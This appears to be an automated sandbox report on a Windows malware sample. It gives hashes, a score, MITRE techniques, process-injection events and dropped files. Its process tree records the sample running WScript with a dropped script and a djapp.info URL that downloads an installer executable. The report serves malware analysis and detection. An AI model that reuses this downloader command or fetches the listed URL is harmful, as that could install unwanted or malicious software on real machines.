93b72cfacb6d8830d67d36633cc082b46d8369a814abb50d1b6901631b6fe433

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
28/05/2024, 03:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe
Size

184KB
MD5

7b90883639a53ba78eef7aadaa09cfc2
SHA1

81210a51358323834fe571e0c386420104761cf8
SHA256

93b72cfacb6d8830d67d36633cc082b46d8369a814abb50d1b6901631b6fe433
SHA512

9f8fffbc2e08f35b519c359dfe546f7d861ac6ad2f3cefa2236f89f7d9c1dd73f688eb0a3fb871ed761c124efada7869f9aaa5f49b46c9cc78ac378e0918c55e
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3a:/7BSH8zUB+nGESaaRvoB7FJNndn7

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	1936	WScript.exe
8	1936	WScript.exe
10	1936	WScript.exe
12	2860	WScript.exe
13	2860	WScript.exe
15	1612	WScript.exe
16	1612	WScript.exe
18	2396	WScript.exe
19	2396	WScript.exe
21	2128	WScript.exe
22	2128	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2072	3028	WerFault.exe	27

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3028 wrote to memory of 1936	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	28
PID 3028 wrote to memory of 1936	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	28
PID 3028 wrote to memory of 1936	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	28
PID 3028 wrote to memory of 1936	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	28
PID 3028 wrote to memory of 2860	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	30
PID 3028 wrote to memory of 2860	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	30
PID 3028 wrote to memory of 2860	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	30
PID 3028 wrote to memory of 2860	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	30
PID 3028 wrote to memory of 1612	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	32
PID 3028 wrote to memory of 1612	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	32
PID 3028 wrote to memory of 1612	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	32
PID 3028 wrote to memory of 1612	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	32
PID 3028 wrote to memory of 2396	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	34
PID 3028 wrote to memory of 2396	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	34
PID 3028 wrote to memory of 2396	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	34
PID 3028 wrote to memory of 2396	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	34
PID 3028 wrote to memory of 2128	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	36
PID 3028 wrote to memory of 2128	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	36
PID 3028 wrote to memory of 2128	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	36
PID 3028 wrote to memory of 2128	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	36
PID 3028 wrote to memory of 2072	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	38
PID 3028 wrote to memory of 2072	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	38
PID 3028 wrote to memory of 2072	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	38
PID 3028 wrote to memory of 2072	3028	7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe	38

C:\Users\Admin\AppData\Local\Temp\7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf18AF.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf18AF.exe
  2⤵
  - Blocklisted process makes network request
  PID:1936
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf18AF.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf18AF.exe
  2⤵
  - Blocklisted process makes network request
  PID:2860
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf18AF.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf18AF.exe
  2⤵
  - Blocklisted process makes network request
  PID:1612
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf18AF.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf18AF.exe
  2⤵
  - Blocklisted process makes network request
  PID:2396
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf18AF.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf18AF.exe
  2⤵
  - Blocklisted process makes network request
  PID:2128
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3028 -s 608
  2⤵
  - Program crash
  PID:2072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
f9557cee1e04779e986282ba0635bc9a

SHA1
d8404afe8567a68c21d2c53f82dfad4edf77b03e

SHA256
0ae3771b9904c98ed6b10641a48f78175995ba2c9917a9eabb2ea3260bc9025f

SHA512
abc427f0f11cbadd3ca01ca1e8bece1121a850c145219d01d893604dab9fb298200f42929480b39d1d3ea9d785c85827ca5d2c02d8c4cfc8e5cbf04fe624e263

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
681e8f0a89a5855cfdbd915d797c214f

SHA1
c922e806884b79ac4d6fca80e01d3e8e9cca2d77

SHA256
def34fe58374a27117ba23855acff275c9e2d7413e3a4f5376693b1b86fc9574

SHA512
af9a13361ced0e701db5cc2b5e63342d18d2836fa63ad9223247c58bb34c259446c2a55cc22cfbd7b8d2fb3191c9acf3d66a084056849c1614f302358a14a415

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
d30c92973ee2b2e21cd80575a2fdc65c

SHA1
d1ea283f1e667b5ce1482182a3fe962ea44a07e7

SHA256
43c1aa3ec82b53eaec93319f2bc95fad600852a3b8a2cc362207d1653aff524b

SHA512
5e9805f658f59d07f22024256140a1435ad50c44fd723cec1a8e0211b38cdf47c3e37d21f47df724b6618348a5dc7fc8e31e5b062016f33234ec56942b0d8ff8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
47f60af3076dce56de21fe55dd2f70b4

SHA1
f3fd40efa65ad2b1f01b49cfeca13809edbc0563

SHA256
25eac25b861f87914bfc6c9dd5a23d698c18b3e1effde8e7bf3ac8239e84ecbd

SHA512
9625f2ff9514be44eb5593c389d50aea8db13e8d344742050df3bbd70027d8352917a5496c38e8a586f41b61cf640fe49b79bfde97c5b220362eb6491e29a16f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MPR7YYBV\domain_profile[1].htm

Filesize
6KB

MD5
f02191a28f328d8ac634e1f1c8b28786

SHA1
7992ae15c39cfc6fcee49f27b808920a992cf648

SHA256
4746faf924c6d1fa10f61babc0f16edd04ac319b27bf5d2059b1673adf6642a4

SHA512
ad4b4ef816c0e013eed69dd294ab873a584a21747bbf19d4cfcd1a8e98fe927bad46474c8ae00e40035f84eab6015da271e42707483a67e5b426a3197eef3360

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MPR7YYBV\domain_profile[1].htm

Filesize
40KB

MD5
e5a339d4cd739d9b636e342e7dacf9f5

SHA1
2d683fd0cee34acb3780e92cdc7e865c07979886

SHA256
83eb0ba6a6899e9edfb400784909b51b216d29d0b0c6a190cdb4f166c80a0787

SHA512
d79eff51b218167a3e36ad1337b0215f0a1e6a9dcd705b4ee6b7c5ef8b73acf095ec36af4f927409adbd8c5d581366b52f9db840d17e894879274091e7e0ade4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VIF0OH2A\domain_profile[1].htm

Filesize
40KB

MD5
073fbdd11a8b33f05d4c9186f98dbf09

SHA1
60b187f0bcecfef1024c837156e92e649fb8e338

SHA256
137948f5fb5a856aab2f122baf9dd6fd927352000f739b6cb698b80c820823ea

SHA512
e11ef4396a90104f998312fdffb0f6c6fad29bb00affcae16ae3cef8bb82f864d6ee27114c8bdca399017460c1316eb14932017e57cfbc73e16596340c39f26a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VIF0OH2A\domain_profile[1].htm

Filesize
6KB

MD5
794b758d192278ef4aba7ffd59ee988a

SHA1
c308556c5d5d2b04953386797b1dc3bc15d40fa8

SHA256
e11f565be86e8c05aa97ecd6851b6b0550dd915b491effcae470351cf7931169

SHA512
dde723367de1b14fd165a72b27709add039bd59fed2cbe8949efdd31661b6b01bf1fa7aa9fa71d3dca05c6dcaa15e0c9a323f3437c88b9809b6ea6c6108653fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab47F8.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar6059.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf18AF.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\IH32AU8R.txt

Filesize
175B

MD5
3ad3031e40882a4aa41c4eae0300b19f

SHA1
19266637cb1e6e61369977c925a8e58767c668fc

SHA256
b4cad42d2994dd7b6105fd24a3fbe7bca7560dbc7dd86178521418771ea4c5cf

SHA512
c89e20d68bacc83143731ddaa5d60d70ffff1ae3f92d67caa8fb733f6f2e516c5ac67b8ece4f82582ad6a3a86ed8ff2ec136897688a3b7edde083612c63db083

Download Submit